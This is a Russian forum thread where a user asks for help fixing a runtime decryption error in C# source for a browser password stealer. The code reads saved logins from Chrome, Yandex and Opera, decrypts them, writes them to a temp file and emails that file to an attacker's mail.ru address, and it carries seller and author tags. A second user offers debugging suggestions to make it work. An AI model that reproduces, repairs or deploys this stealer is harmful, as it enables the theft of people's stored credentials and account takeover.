Загрузка...

[C#] Как исправить ошибку при компиляции?

Тема в разделе C# создана пользователем Djhdsg 3 мар 2021. (поднята 20 мар 2021) 688 просмотров

  1. Djhdsg
    Djhdsg Автор темы 3 мар 2021 1 25 апр 2019
    Помогите пожалуйста. Выдает ошибку при компиляции *******а.
    Ниже предоставлен код ошибки и код *******а.
    Code C#


    System.Security.Cryptography.CryptographicException: "Параметр задан неверно."

    Необработанное исключение типа "System.Security.Cryptography.CryptographicException" в System.Security.dll
    Параметр задан неверно.

    Код

    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;

    namespace *******
    {
    class Passwords
    {
    static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
    {
    if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data")) // Если файл по данному пути существует, то удаляем его
    {
    File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
    }
    File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
    dbPath = Path.GetTempPath() + @"StealLog\Login Data";
    var connectionString = "Data Source=" + dbPath + ";pooling=false";
    using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
    using (var cmd = conn.CreateCommand())
    {


    cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

    conn.Open();
    using (var reader = cmd.ExecuteReader())
    {
    while (reader.Read())
    {
    var encryptedData = (byte[])reader[0];

    var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
    var plainText = Encoding.ASCII.GetString(decodedData);

    yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

    }

    }
    conn.Close();
    }
    }
    }
    }
    }

    Код
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Net.Mail;
    using System.Text;
    using System.Threading.Tasks;

    namespace *******
    {
    class Program
    {
    static void Main(string[] args)
    {
    ///создаем папку где будет лежать файл с паролем (Папка будет создана в каталоге TEMP.)
    Directory.CreateDirectory(Path.GetTempPath() + "StealLog");
    ///Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли):
    string[] paths =
    {
    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
    Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
    };
    ///создаём переменную pwd_text
    string pwd_text = "";

    foreach (string p in paths) //идем по папкам
    {
    var pas = Passwords.ReadPass(p);
    if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
    {
    pwd_text += "Reborn Exodus ******* buy: @exploit_dar\r\n\r\n";

    foreach (var item in pas)
    {
    if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную
    {

    pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
    pwd_text += " \r\n";
    }
    }
    }
    ////Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его.
    if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data"))
    {
    File.Delete(Path.GetTempPath() + @"StealLog\Login Data");
    }

    ///Запишем все пароли в .txt файл:
    File.WriteAllText(Path.GetTempPath() + @"StealLog\Passwords.txt", pwd_text); // записываем пароли в файл

    ///отправить файл с паролями
    SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu

    Smtp.Credentials = new NetworkCredential("почта@mail.ru", "Password"); // Меняем на своё, можно создать левую почту.

    Smtp.EnableSsl = true;
    MailMessage Message = new MailMessage();
    Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем
    Message.To.Add("почта@mail.ru");
    Message.Subject = "Log | @vilmi.su"; // Заголовок письма
    Message.Body = "******* by VLIMI"; // Текст письма
    Message.Attachments.Add(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом
    Smtp.Send(Message); // Отправляем
    }
    }
    }
    }
     
  2. nnm_soft
    nnm_soft 9 мар 2021 Заблокирован(а) 1 8 фев 2021
    Это как минимум не ошибка компиляции, а ошибка в райнтайме.
    Вряд ли пароль изначально был в ASCII, а не в UTF-8. Если было бы больше информации о структуре таблицы
    logins из спойлера1, то можно было бы предложить решение, но я не знаю какая структура у этой таблицы и какие типы данных там хранятся.
    Могу только предположить, что в таблице logins поле password_value хранится как Base64 строка, а не массив байт. Тогда строку
    var encryptedData = (byte[])reader[0];
    заменить на
    И строку с plainText заменить на
    var plainText = Encoding.UTF8.GetString(decodedData);
     
    1. Djhdsg Автор темы
      nnm_soft, System.FormatException: "Входные данные не являются действительной строкой Base-64, поскольку содержат символ в кодировке, отличной от Base 64, больше двух символов заполнения или недопустимый символ среди символов заполнения. "
Top
Загрузка...